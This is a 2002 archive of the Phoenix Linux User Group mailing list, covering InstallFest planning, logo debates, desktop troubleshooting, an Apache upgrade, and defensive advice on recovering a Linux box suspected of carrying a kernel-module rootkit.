> > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn > eJP6zFk+qRYwKinOQZl+0XKb > =0T92 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:01:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Fri, 21 Jun 2002 14:01:40 -0700 Subject: InstallFest internet connection? Yes! Message-ID: <200206212102.RAA13675@hostinworld6.com> What about common perhiperals? Will there be mice, keyboards and monitors? If a person has "special" hardware, they should bring it but what about a monitor at least? Should we really expect people to lug their huge computers and then their 50lb. monitors? Alandd@mindspring.com wrote : > This has come up a few times in reference to the InstallFest so... > > Yes, there will be access to the internet at the InstallFest. Wired access > is > definately going to be provided. Bring a network cable if you want. I > don't > know if wireless connection will be available. > > I don't know the status of dial-up connection capabilities. > > I am told there will be no problems with power but you may want to bring a > power strip along to make sure we don't run out of them. > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:15:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Fri, 21 Jun 2002 14:15:50 -0700 Subject: Plug Logo Update In-Reply-To: <0206211359270C.01526@nova.wedge.org> Message-ID: I think most LUGs are known as "Users Groups," so for the sake of conformity (aaaarrrrgh), perhaps we should also be a "Users Group." -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jim Sent: Friday, June 21, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug Logo Update -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I did a quick check and there doesnt seem to be a preferred form - Users Group vs. User Group. Historically, this group has been known as the Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users Group. Makes no difference to me. Just get it done cause I want a PLUG tshirt NOW! On Friday 21 June 2002 13:32, you wrote: > well i had a talk with austin's boss, and he is now in the office. :~D just > kidding! i gave him the imput from the group, and he said he would get on > it when he gets a chance. so maybe be days end, we will have one with a > saguaro, and a centered "Phoenix Linux". but what is the feeling from the > group about the S. should it be "Users Group", or like it is on the PLUG > website "User Group"? > > slr > > ----- Original Message ----- > From: "Kimi A. Adams" > To: > Sent: Friday, June 21, 2002 12:32 PM > Subject: Re: Plug Logo Update > > > Logos mostly are for the brand naming of such groups, items or services > > that a company or group wish to be known by. Google changes things from > > time to time but still have the "same" lettering. I believe that a logo > > should be a single logo but that we can add things to it. Like around > > during the second season we have of summer, have the flowers. > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > looking. My two copper, shiny pennies worth. > > > > Kimi Adams > > Unity Wave > > > > At 6/21/02, you wrote: > > >actually that is what i was thinking, but i didnt know how the rest of > > the > > > >group would feel about that. > > >but IMHO, i think we should have both. > > > > > >slr > > > > > >----- Original Message ----- > > >From: "Dennis Kibbe" > > >To: > > >Sent: Friday, June 21, 2002 6:00 AM > > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > good point. i will get Austin to create one with saguaro's as > > well. > > > > > > If we he does, can we impose further and get sag w/ and w/o > > blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > to > > > > > >have > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > ciao, > > > > > > > > > > der.hans > > > > > > > > The logo is looking good! The prickley pear work for me. Any reason > > not > > > >to do > > > > > > > both pear and sahuaro for variety? > > > > > > > > I'm thinking t-shirts! > > > > > > > > Dennis Kibbe > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn eJP6zFk+qRYwKinOQZl+0XKb =0T92 -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:26:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 21 Jun 2002 14:26:30 -0700 Subject: data plotting question Message-ID: <3D139A06.C504FF3@leml.asu.edu> I need to make some graphs of digital elevation map like messes. I was hoping to find something easier than gnuplot, but without having to reinstall KDE to get a new version of kchart, kspead, etc. working. Any suggestions? Thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 21 Jun 2002 14:31:49 -0700 Subject: irc Message-ID: <200206211431.49050.plug@unfm00.com> Does anyone idle in the irc? Or does the plug still have a channel? jon k unfm00.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:49:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 21 Jun 2002 14:49:27 -0700 (MST) Subject: Off-topic... In-Reply-To: Message-ID: Am 21. Jun, 2002 schwätzte G.D.Thurman so: > Is there an active Phoenix *BSD User Group? No. No reason, other than probs with the name, to start a seperate group. PLUG can handle *BSD stuff as well. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:46:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 21 Jun 2002 15:46:45 -0700 Subject: irc In-Reply-To: <200206211431.49050.plug@unfm00.com> References: <200206211431.49050.plug@unfm00.com> Message-ID: <20020621154645.1143e083.snoogans@qwest.net> I am almost allways idling on irc :) im BoBB on irc, SyZ is also idling there almost 24/7 :) and hawk shows up once in a while too On Fri, 21 Jun 2002 14:31:49 -0700 "Jon K" wrote: > Does anyone idle in the irc? Or does the plug still have a channel? > > jon k > unfm00.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:49:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 21 Jun 2002 15:49:20 -0700 Subject: woops Message-ID: <20020621154920.3e3faa2e.snoogans@qwest.net> a few weeks ago i sent a message to list askingif anyone had small firewall-sized hard drives to sell. Someone responded and everything was good except i lost thier e-mail :( just wanted to double check that you would be there tommorow if you see this go ahead and e-mail me :) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:57:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 18:57:25 -0400 Subject: InstallFest internet connection? Yes! Message-ID: Configuring video settings for X can be tricky sometimes. The best way to make sure the user gets an optimum setup for their equipment is to have the equipment. I would recommend that they bring the monitor too, however inconvenient that may be. However, there will be SOME spare keyboards, mice and maybe even monitors there. I don't know if there will be enough for everyone if they don't bring their own. And, someone that did not bring a monitor always has this list and member resources available if they want to upgrade their video settings for a better monitor at home. They just have to understand that they may not leave the Install Fest with the optimum settings and they may have to wait until a spare whatever becomes available before their install can proceed. We will do our best to accomodate. Alan On Fri, 21 Jun 2002 14:01:40 -0700 Bryce C wrote: What about common perhiperals? Will there be mice, keyboards and monitors? If a person has "special" hardware, they should bring it but what about a monitor at least? Should we really expect people to lug their huge computers and then their 50lb. monitors? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 23:22:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Fri, 21 Jun 2002 16:22:36 -0700 Subject: Just Verifying. (Installfest) Message-ID: <200206212323.TAA27913@hostinworld6.com> Just checking that someone will be there to help me with installing MkLinux on my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video adaptor I use. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 02:41:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Fri, 21 Jun 2002 19:41:47 -0700 Subject: apache upgrade References: <4A8DFDA6B395D411A11B00508BEE23FE76B508@mail.int.fh.org> Message-ID: <3D13E3EB.6040903@cox.net> So far, Mandrake has gotten a patched version out for SNF7.2. The Mdk8.2 and other versions are expected shortly. Don't be surprised though if the Apache version number doesn't change. They'll probably patch the hole in their current version instead of risking potential incompatibilities with newer Apaches. (I could be wrong, but that appears to be what they did with SNF7.2 since its Apache package is 1.3.20.) Tom Achtenberg wrote: > Not sure why you get all those dependencies, on my Red Hat 7.3 box I upgraded using RH's up2date and it only downloaded two rpm's (one program and one for the documentation) and installed it with no problem. Total size of the download was under 2 meg. > > > Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) > From: William Lindley > To: Phoenix Linux Users Group > Cc: Scott Walters > Subject: apache upgrade > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Am on a Mandrake 7.2 box... I know there are remote exploits for Apache > and I want to upgrade... > > Tried to use the Mandrake Update program to update Apache. it fails, with > no sensible error message, so I'm trying to do it manually... > > Apparently there are about a dozen other RPMs apache depends on. This > looked hopeless (download a.rpm, try to install, it wants b.rpm, download, > it wants c.rpm, etc etc) > > So I downloaded the apache source rpm, but i can't install that because it > wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. > > Any ideas how to proceed? > > \\/ > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 23:57:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 19:57:49 -0400 Subject: Just Verifying. (Installfest) Message-ID: As far as I know, we will not have any install media for MkLinux at the Fest. But, if you bring the install media, I am sure you will find people willing to do what they can to help get you going. I would recommend that you bring the monitor. I have no idea how tricky video settings are on a PowerPC. I'll even help you bring it in, if you want. :^) Alan On Fri, 21 Jun 2002 16:22:36 -0700 Bryce C wrote: Just checking that someone will be there to help me with installing MkLinux on my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video adaptor I use. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 00:22:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 21 Jun 2002 17:22:31 -0700 Subject: Install Fest Message-ID: <0206211722310D.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 A press release from Lycoris just popped up on NewsForge (http://newsforge.com). Word is spreading . . . - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRPDRysk3ywszI1FEQImiACeNnsmLztYB7e2ZoWRaJ+H6SBOlTAAoKjQ 5RHYSYZ5e54iUzk8tZsGqwUp =jo2b -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 00:29:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 21 Jun 2002 17:29:56 -0700 Subject: Just Verifying. (Installfest) In-Reply-To: Message-ID: <200206220030.UAA16487@hostinworld6.com> The monitor is, how can I put this, "integrated" in to its surroundings so it's not possible to bring it. Besides, it serves other computers. The adaptor sets the resolution anyway. Yes I do have the MkLinux CD I burned as well as the 6 SuSE LiveEval 8.0 CDs I said I'd bring. I just need some help installing MkLinux from someone more fluent with "MACinease". Thanks for the offer. On 21 Jun 2002 19:57:49 -0400, alandd@mindspring.com wrote: > As far as I know, we will not have any install media for MkLinux at the Fest. > But, if you bring the install media, I am sure you will find people willing to > do what they can to help get you going. > > I would recommend that you bring the monitor. I have no idea how tricky video > settings are on a PowerPC. I'll even help you bring it in, if you want. :^) > > Alan > > On Fri, 21 Jun 2002 16:22:36 -0700 Bryce C wrote: > > Just checking that someone will be there to help me with installing MkLinux on > my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video > adaptor I use. > > Thanks, > Bryce C. > Network Administrator > CoBryce Communications > Bryce@BryceCo.Net > http://www.BryceCo.Net > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 01:06:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Fri, 21 Jun 2002 18:06:51 -0700 Subject: Bringing Servers to InstallFest References: <0206211722310D.01526@nova.wedge.org> Message-ID: <3D13CDAB.1F5E5B7B@cox.net> Are additional boxes desired at the InstallFest to be used as network servers? I could offer one, but would need instructions right away so I could set things up. I don't want to uproot the box unless it would actually contribute to the well-going of the event. It's dual-booted to RedHat 7.1 and has 1.3GHz Processor and 512MB memory. Those of us bringing such boxes should know what kind of setup is required in advance (IP addresses in what files, etc.???). So please advise promptly if I should bring the box, and what I should do to it in advance. I also have a spare CD drive, in case THAT would be useful. Should I bring it? I will be an hour or so late to the InstallFest (helping a friend load a moving van) but will stick around to shut the place down at the end of the day. Vic From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:55:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Thu, 20 Jun 2002 21:55:30 -0700 Subject: oops... to many files and can't clean up... References: <3D129CEC.89B04388@leml.asu.edu> <3D129ED3.62C3CC27@leml.asu.edu> Message-ID: <3D12B1C2.972D4A6A@uberhip.com> Perhaps it is was a shell limitations since that would be what was responsible for the regular expression expansion. Sounds like most the problems you had were when you used *. Austin "John (EBo) David" wrote: > > sorry to reply to my own message, but a quick update... > > I went to another xterm and tried get a second look at things. From > there I was able to see and remove the rest of the files (no idea what > happend to that one xterm to muck with ls/rm). Anyway, things are > cleaned up, and that even seemed to fix things in the original xterm > that was causing the problems... > > I may well still reboot and FSCK... Any idea what could have screwed > up? I remember that there used to be a limit of 10,000 files/directory > or inode. That is why I was originally concerned with having more than > 2.5 times that in a single directory. > > EBo -- > > "John (EBo) David" wrote: > > > > ummm.... > > > > I have a unit and regression test suite for my ecological modeling > > virtual machine. I needed to bump up one of the tests to run for a > > longer time for model testing. Problem was that I forgot that I am > > creating an image dump for *every* variable specified each and every > > iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images > > for umm... looks like 8 variables, and there are 15 other unit tests... > > > > So now I find that I have over 25,000 files in a single directory. > > oops. Ok, off to clean them up.... > > > > First, ls and rm complain that there are to many files to "rm *.pgm", so > > I go though and delete them by group name... ok, appears to go ok. Now > > I am finally able to "rm *.pgm" so they should be clean up. Problem is > > that once I do that I still have hundreds of pgm files in the directory > > that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I > > have corrupted the file system or something. > > > > any suggestions? > > > > thoughts: > > > > shut down the machine, reboot single user, fsck ever partition > > (including XFS partions), and recite some prayer to Boolean... > > > > other ideas, thoughts, intuitions as to what happens when creating 10's > > of thousands of files in a single directory by accident? > > > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Austin Godber godber@asu.edu Rotten Philomathian From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:53:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 12:53:52 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <200206211223.08520.zen2now@qwest.net> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> <200206211223.08520.zen2now@qwest.net> Message-ID: <200206212046.g5LKkk206503@PlugList.MyButt.Net> I could play a wave file from this page so it must be that the line in the page that calls the wave file uses a propietary IE tag. I've had no sucess in getting the developer to show me the code, but I'll fry to capture it myself. I will also try setting mozilla to use xmms as well Charlie n Friday 21 June 2002 12:23, you wrote: > i dont know if this will help you. but i was able to play a .wav from the > plugger test page in opera 6.0 @ > http://fredrik.hubbe.net/plugger/test.html, by editing > preferences/applications=audio/x-wav, select "Open with other Application" > and choose /usr/bin/xmms. I dont know if this will work in your situation, > but from the plugger test page i was able to click on the WAV link to the > left and play test.wav. > > slr > > On Friday 21 June 2002 10:00 am, charlie bullen wrote: > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out . > > > > I think that perhaps the line in the page that brings in the sound file > > may be a prorietary Microsoft tag. I've asked the developer to email me > > the code, but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:40:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:40:37 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <005f01c21948$d8cd5430$0301010a@tickticker.com> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> <005f01c21948$d8cd5430$0301010a@tickticker.com> Message-ID: <200206211833.g5LIXQ205419@PlugList.MyButt.Net> I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting opera by email as well, good idea. I have been told that I have to get sound working fast or I'm back to XP. Charlie On Friday 21 June 2002 10:26, you wrote: > Charlie, > > Is opera your only choice? Is this the end of Linux on your desktop? try > mozilla, netscape or any of the other small army of browsers, one of them > should do it. just not IE ;-) There are a couple sites out there that > list them all, and hold on, try > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > for a start. then you could also contact opera using one of the tools on > http://www.opera.com/support/. they do have free email support > > Anthony > > > ----- Original Message ----- > From: "charlie bullen" > To: > Sent: Friday, June 21, 2002 10:00 AM > Subject: Sound in opera - Linux at work > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out > > . > > > I think that perhaps the line in the page that brings in the sound file > > may > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > code, > > > but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 04:39:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Fri, 21 Jun 2002 21:39:35 -0700 Subject: The Ballad of David Grunman Message-ID: <200206212139.35746.dennisk@sahuaro.f2s.com> I've shared this with some of you. Wish I knew who did it! Download mp3 here: www.sahuaro.f2s.com/grunman.mp3 A PDF of the lyrics here: www.sahuaro.f2s.com/grunman.pdf Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 06:10:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 22 Jun 2002 00:10:29 -0600 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> If chkrootkit says there are process's running that ps isn't showing - it's probably right. Stop all services that have the posibility of spawning child procces's quickly (apache etc) and run again. If it still shows up, most likely someone has you. The new rootkits are getting pretty complex in how they work, and with a trojan kernel module nearly anything is possible. I'd attach a sniffer to log _all_ traffic, possibly using snort to get a handle on it if it's a lot. I worked on a box that was hacked with suckit, one of the better LKM trojans. Only real way to fix it was to format/reinstall. RPM wasn't showing any problems with the procps (ps, ls etc.) rpm because the LKM was intercepting those calls at the kernel level. Took a sniffer and several days to figure out it was owned, as the box behaved normally. Seems the person was using it as a jumping point, running a scan of random netblocks. You might have some success booting with a rescue dist (tomsbrt works good), and looking for some directories that shouldn't be there. suckit defaults to something in /dev/(can't remember where - check phrack..48?) -dallas On Wed, 2002-06-19 at 16:15, Matt Alexander wrote: > It's possible that those mystery processes only ran one time and covered > up their activity afterwards, or maybe they run at some regular interval, > who knows. Personally, I would sleep better at night after rebuilding the > box. Also, I would recommend that you have different passwords for > different sites. You don't want a security hole at one site completely > opening your boxes at another site (as was the case with you). It's even > better if each box has a different password from all the others. > ~M > > > On Wed, 19 Jun 2002, technomage wrote: > > > according to the "last" command, he logged in as a user on one of my accounts > > and was on for 6 minutes. > > > > I checked elsewhere and found that there had been no other activity (even to > > checking the backups of some of the history files that are made each hour). > > > > after than, I checked to make sure there weren't any outbound connections to > > his IP range (there weren't). I used a clean box as a sniffer for this. I > > then proceeded to change all system passwords and user account passowrds. > > Then, I loaded clean versions of rpm, etc and proceeded to do a package > > verification. I even did md5 checksum comparisons and sig checking. > > > > I checked with a couple of folks I know in the computer security field (one > > of whom is currently serving duty with the US navy at their fascility in > > southern california (the USN Naval Post Graduate School). Given information > > from him (and others), I made an assumption that the intruder hadn't gotten > > very far into my system, and that since all passwords were changed > > immediately following the incident AND that the offending ip range > > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > > incursions until yesterday evening. > > > > what I find odd is that the incursion didn't stick. said "invisible > > processes" that wer recorded before aren't there now. > > > > just as a measure, I also made sure that my system has current patches for > > apache (which I do run a webserver here on port 8000) and I've tested any cgi > > scripts and other things using a tool called nessus. > > > > so far, after the last 12 hours, I can't seem to find any evidence that an > > incursion (intrusion) has taken place other than that 1 log entry written by > > chkrootkit that one time. > > > > so, I'm at a loss. am I trojaned or not? > > > > Technomage > > > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > > --- technomage wrote: > > > > ok, > > > > > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > > directories > > > > > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > > you changed the passwords, etc, there may have already been someting in > > > place that passed that info back to the intruder. Any idea on how long the > > > intruder had access to your system? > > > > > > Personally, I would cut my loses - print (yes print) any config files that > > > you want to re-implement, wipe the box and re-install from scratch. > > > > > > Or > > > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > > done, mount up the old disk - dont run anything from it - and give it a > > > thorough going over - see if you can figure out what was done to compromise > > > the system. > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > numbered! > > My life is my own - No. 6 > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 07:56:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sat, 22 Jun 2002 00:56:51 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> Message-ID: <3D142DC3.2E30D00@cox.net> This is slightly off topic, but amusing. BTW, this really happened somewhere in the Phoenix area, about 15 years ago. I don't know if the guy's name was David Grunman, but according to the Arizona Republic's news story there was a drunk out in the desert shooting holes in saguaros with a shotgun. His last victim was 24 feet tall. The man's last word was: "Tim..." I searched for "David Grunman" and only found a reference to a late-term abortionist by that name. Vic P.S. -- If you put web links in a plain-text message, please put http:// in front of them. This will cause most web clients to recognize them as links, so they're clickable. Dennis Kibbe wrote: > I've shared this with some of you. Wish I knew who did it! > Download mp3 here: > www.sahuaro.f2s.com/grunman.mp3 > A PDF of the lyrics here: > www.sahuaro.f2s.com/grunman.pdf From plug-discuss@lists.plug.phoenix.az.us Sat 